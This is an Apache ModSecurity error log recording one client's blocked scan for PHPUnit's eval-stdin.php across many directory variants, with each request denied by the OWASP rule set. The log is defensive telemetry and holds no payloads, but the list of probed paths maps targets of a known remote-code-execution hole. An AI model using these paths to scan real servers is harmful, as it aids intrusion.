[Sat Oct 24 09:16:53.738985 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTAAAAAY"]
[Sat Oct 24 09:16:53.739450 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTAAAAAY"]
[Sat Oct 24 09:16:53.740254 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrTAAAAAY"]
[Sat Oct 24 09:16:53.832710 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTQAAAAY"]
[Sat Oct 24 09:16:53.833194 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTQAAAAY"]
[Sat Oct 24 09:16:53.833965 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrTQAAAAY"]
[Sat Oct 24 09:16:53.907057 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTgAAAAY"]
[Sat Oct 24 09:16:53.907501 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTgAAAAY"]
[Sat Oct 24 09:16:53.908377 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrTgAAAAY"]
[Sat Oct 24 09:16:53.976562 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTwAAAAY"]
[Sat Oct 24 09:16:53.977009 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrTwAAAAY"]
[Sat Oct 24 09:16:53.977741 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrTwAAAAY"]
[Sat Oct 24 09:16:54.058407 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUAAAAAY"]
[Sat Oct 24 09:16:54.058707 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUAAAAAY"]
[Sat Oct 24 09:16:54.059626 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrUAAAAAY"]
[Sat Oct 24 09:16:54.143372 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUQAAAAY"]
[Sat Oct 24 09:16:54.143798 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUQAAAAY"]
[Sat Oct 24 09:16:54.144511 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrUQAAAAY"]
[Sat Oct 24 09:16:54.168650 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.238.45.183:6200] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:16:54.228129 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUgAAAAY"]
[Sat Oct 24 09:16:54.228614 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUgAAAAY"]
[Sat Oct 24 09:16:54.229540 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrUgAAAAY"]
[Sat Oct 24 09:16:54.317372 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUwAAAAY"]
[Sat Oct 24 09:16:54.317846 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrUwAAAAY"]
[Sat Oct 24 09:16:54.318640 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrUwAAAAY"]
[Sat Oct 24 09:16:54.390366 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVAAAAAY"]
[Sat Oct 24 09:16:54.390779 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVAAAAAY"]
[Sat Oct 24 09:16:54.391490 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrVAAAAAY"]
[Sat Oct 24 09:16:54.546363 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVQAAAAY"]
[Sat Oct 24 09:16:54.546851 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVQAAAAY"]
[Sat Oct 24 09:16:54.547815 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrVQAAAAY"]
[Sat Oct 24 09:16:54.671107 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVgAAAAY"]
[Sat Oct 24 09:16:54.671578 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVgAAAAY"]
[Sat Oct 24 09:16:54.672475 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrVgAAAAY"]
[Sat Oct 24 09:16:54.794828 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVwAAAAY"]
[Sat Oct 24 09:16:54.795255 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxhdOhHN-18IxgZKrVwAAAAY"]
[Sat Oct 24 09:16:54.796171 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxhdOhHN-18IxgZKrVwAAAAY"]
[Sat Oct 24 09:16:55.016554 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWAAAAAY"]
[Sat Oct 24 09:16:55.017048 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWAAAAAY"]
[Sat Oct 24 09:16:55.017860 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrWAAAAAY"]
